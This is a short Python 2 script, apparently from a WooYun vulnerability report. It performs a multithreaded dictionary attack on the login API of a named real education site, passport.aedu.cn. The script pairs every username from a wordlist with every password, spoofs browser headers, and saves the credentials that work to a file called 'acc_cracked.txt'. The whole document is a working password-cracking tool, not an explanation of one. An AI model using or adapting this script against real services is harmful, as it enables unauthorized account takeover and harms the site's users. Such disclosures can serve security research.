WooYun.org

import urllib
import urllib2
import cookielib
import json
import threading
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
urllib2.install_opener(opener)
outFile = open('acc_cracked.txt','w')
def tryLogin(user,password):
	#print user,password
	global outFile
	user = user.strip()
	passwd = password.strip()
	req = urllib2.Request("http://passport.aedu.cn/api/getlogin?","uid=%s&pwd=%s" % (user,passwd))
	req.add_header("Referer","http://www.aedu.cn/")
	resp = urllib2.urlopen(req) 
	returnMsg = resp.read()[1:-1]
	#print returnMsg
	status = json.loads(returnMsg)
	statusNum = status['status']#=0 -> stop,=-2 -> retry,=other -> report returnMsg
	if statusNum == 0:
		print '----- find user:', user, 'with password:', passwd, '-----'
		outFile.write(user + '    ' +  passwd + '      statusNum:' + str(statusNum) + '\n')
   	return
if __name__ == '__main__':
	tsk=[]
	with open(r'user.dic', 'r') as fUser:
		with open(r'pass.dic', 'r') as fPass:
			for user in fUser:
				for password in fPass.readlines():
					t = threading.Thread(target = tryLogin,args=(user,password))
					t.deamon = False
					tsk.append(t)
				fPass.seek(0)
#cant call join before thread start
	for t in tsk:
 		t.start()
		t.join(1)
 	print "All thread OK,maybe not "
 	outFile.close()